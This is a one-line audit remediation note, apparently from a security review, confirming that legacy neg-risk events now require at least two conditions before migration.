Cantina Managed: Verified. Legacy neg-risk events are now required to have at least two conditions for migration.